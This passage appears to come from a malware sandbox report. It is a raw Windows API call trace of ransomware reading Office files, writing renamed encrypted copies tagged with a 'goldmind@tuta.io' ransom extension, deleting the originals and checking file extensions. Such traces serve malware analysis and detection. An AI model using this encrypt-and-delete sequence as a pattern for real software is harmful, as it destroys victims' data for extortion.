lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x7fb, lpOverlapped=0x0) returned 1 [0101.478] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x800, lpOverlapped=0x0) returned 1 [0101.478] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.478] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0101.478] SetEndOfFile (hFile=0x3b8) returned 1 [0101.479] CloseHandle (hObject=0x3b8) returned 1 [0101.479] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.479] SetEndOfFile (hFile=0x3bc) returned 1 [0101.480] CloseHandle (hObject=0x3bc) returned 1 [0101.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 1 [0101.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.564] lstrlenW (lpString=".doc") returned 4 [0101.564] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0101.564] lstrlenW (lpString=".docx") returned 5 [0101.564] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0101.564] lstrlenW (lpString=".pdf") returned 4 [0101.564] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0101.564] lstrlenW (lpString=".xls") returned 4 [0101.564] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0101.564] lstrlenW (lpString=".xlsx") returned 5 [0101.564] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0101.564] lstrlenW (lpString=".ppt") returned 4 [0101.564] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.565] lstrlenW (lpString=".zip") returned 4 [0101.565] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0101.565] lstrlenW (lpString=".rar") returned 4 [0101.565] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString=".bz2") returned 4 [0101.565] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString=".7z") returned 3 [0101.565] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0101.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.565] lstrlenW (lpString=".dbf") returned 4 [0101.565] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.565] lstrlenW (lpString=".1cd") returned 4 [0101.565] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.565] lstrlenW (lpString=".jpg") returned 4 [0101.565] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.565] lstrlenW (lpString=".doc") returned 4 [0101.565] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString=".docx") returned 5 [0101.565] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0101.565] lstrlenW (lpString=".pdf") returned 4 [0101.565] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString=".xls") returned 4 [0101.565] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0101.565] lstrlenW (lpString=".xlsx") returned 5 [0101.565] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0101.565] lstrlenW (lpString=".ppt") returned 4 [0101.565] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0101.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.565] lstrlenW (lpString=".zip") returned 4 [0101.565] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0101.565] lstrlenW (lpString=".rar") returned 4 [0101.565] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0101.566] lstrlenW (lpString=".bz2") returned 4 [0101.566] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0101.566] lstrlenW (lpString=".7z") returned 3 [0101.566] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0101.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.566] lstrlenW (lpString=".dbf") returned 4 [0101.566] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0101.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.566] lstrlenW (lpString=".1cd") returned 4 [0101.566] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0101.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0101.566] lstrlenW (lpString=".jpg") returned 4 [0101.566] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0101.566] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0101.566] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0101.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.649] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=621) returned 1 [0101.649] CloseHandle (hObject=0x38c) returned 1 [0101.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 0x20 [0101.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.768] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.768] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.768] GetLastError () returned 0x0 [0101.768] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x26d, lpOverlapped=0x0) returned 1 [0101.813] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x270, lpOverlapped=0x0) returned 1 [0101.814] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.814] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xee, lpOverlapped=0x0) returned 1 [0101.814] SetEndOfFile (hFile=0x3a8) returned 1 [0101.849] CloseHandle (hObject=0x3a8) returned 1 [0101.850] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.850] SetEndOfFile (hFile=0x3ac) returned 1 [0101.861] CloseHandle (hObject=0x3ac) returned 1 [0101.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 1 [0101.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.949] lstrlenW (lpString=".doc") returned 4 [0101.949] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0101.949] lstrlenW (lpString=".docx") returned 5 [0101.949] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0101.949] lstrlenW (lpString=".pdf") returned 4 [0101.949] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".xls") returned 4 [0101.950] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".xlsx") returned 5 [0101.950] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0101.950] lstrlenW (lpString=".ppt") returned 4 [0101.950] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.950] lstrlenW (lpString=".zip") returned 4 [0101.950] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".rar") returned 4 [0101.950] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".bz2") returned 4 [0101.950] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0101.950] lstrlenW (lpString=".7z") returned 3 [0101.950] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0101.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.950] lstrlenW (lpString=".dbf") returned 4 [0101.950] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0101.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.950] lstrlenW (lpString=".1cd") returned 4 [0101.950] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0101.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.950] lstrlenW (lpString=".jpg") returned 4 [0101.950] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.950] lstrlenW (lpString=".doc") returned 4 [0101.950] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0101.950] lstrlenW (lpString=".docx") returned 5 [0101.950] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0101.950] lstrlenW (lpString=".pdf") returned 4 [0101.950] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".xls") returned 4 [0101.950] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".xlsx") returned 5 [0101.950] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0101.950] lstrlenW (lpString=".ppt") returned 4 [0101.950] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.950] lstrlenW (lpString=".zip") returned 4 [0101.950] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".rar") returned 4 [0101.950] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0101.950] lstrlenW (lpString=".bz2") returned 4 [0101.950] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0101.951] lstrlenW (lpString=".7z") returned 3 [0101.951] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0101.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.951] lstrlenW (lpString=".dbf") returned 4 [0101.951] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0101.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.951] lstrlenW (lpString=".1cd") returned 4 [0101.951] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0101.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0101.951] lstrlenW (lpString=".jpg") returned 4 [0101.951] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0101.951] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0101.951] lstrlenW (lpString="GRINTL32.DLL") returned 12 [0101.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.957] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=208256) returned 1 [0101.957] CloseHandle (hObject=0x3b8) returned 1 [0101.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll")) returned 0x20 [0101.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.958] lstrlenW (lpString=".doc") returned 4 [0101.958] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0101.958] lstrlenW (lpString=".docx") returned 5 [0101.958] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0101.958] lstrlenW (lpString=".pdf") returned 4 [0101.958] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0101.958] lstrlenW (lpString=".xls") returned 4 [0101.958] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0101.958] lstrlenW (lpString=".xlsx") returned 5 [0101.958] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0101.958] lstrlenW (lpString=".ppt") returned 4 [0101.958] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0101.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.958] lstrlenW (lpString=".zip") returned 4 [0101.958] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0101.958] lstrlenW (lpString=".rar") returned 4 [0101.958] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString=".bz2") returned 4 [0101.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0101.959] lstrlenW (lpString=".7z") returned 3 [0101.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".dbf") returned 4 [0101.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".1cd") returned 4 [0101.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".jpg") returned 4 [0101.959] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".doc") returned 4 [0101.959] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString=".docx") returned 5 [0101.959] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0101.959] lstrlenW (lpString=".pdf") returned 4 [0101.959] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString=".xls") returned 4 [0101.959] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString=".xlsx") returned 5 [0101.959] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0101.959] lstrlenW (lpString=".ppt") returned 4 [0101.959] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".zip") returned 4 [0101.959] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString=".rar") returned 4 [0101.959] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0101.959] lstrlenW (lpString=".bz2") returned 4 [0101.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0101.959] lstrlenW (lpString=".7z") returned 3 [0101.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".dbf") returned 4 [0101.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".1cd") returned 4 [0101.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0101.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0101.959] lstrlenW (lpString=".jpg") returned 4 [0101.959] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0101.960] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0101.960] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20 [0101.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.960] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=37760) returned 1 [0101.960] CloseHandle (hObject=0x3b8) returned 1 [0101.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 0x20 [0101.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.961] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.961] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.961] GetLastError () returned 0x0 [0101.961] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x9380, lpOverlapped=0x0) returned 1 [0101.964] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0101.965] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.965] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0101.965] SetEndOfFile (hFile=0x3ac) returned 1 [0101.965] CloseHandle (hObject=0x3ac) returned 1 [0101.965] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.965] SetEndOfFile (hFile=0x3b8) returned 1 [0101.967] CloseHandle (hObject=0x3b8) returned 1 [0101.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 1 [0101.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.968] lstrlenW (lpString=".doc") returned 4 [0101.968] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString=".docx") returned 5 [0101.968] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0101.968] lstrlenW (lpString=".pdf") returned 4 [0101.968] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString=".xls") returned 4 [0101.968] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString=".xlsx") returned 5 [0101.968] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0101.968] lstrlenW (lpString=".ppt") returned 4 [0101.968] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.968] lstrlenW (lpString=".zip") returned 4 [0101.968] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString=".rar") returned 4 [0101.968] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString=".bz2") returned 4 [0101.968] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString=".7z") returned 3 [0101.968] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.968] lstrlenW (lpString=".dbf") returned 4 [0101.968] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.968] lstrlenW (lpString=".1cd") returned 4 [0101.968] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0101.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0101.968] lstrlenW (lpString=".jpg") returned 4 